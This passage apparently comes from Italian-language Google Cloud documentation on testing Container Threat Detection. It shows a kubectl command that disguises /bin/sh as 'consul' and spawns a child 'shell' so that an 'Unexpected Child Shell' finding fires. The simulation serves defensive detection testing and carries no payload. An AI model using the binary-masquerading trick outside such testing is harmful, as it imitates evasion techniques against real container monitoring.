         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se Logging è configurato per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente Unexpected Child Shell. Per visualizzare tutti i risultati di Unexpected Child Shell durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Passaggi successivi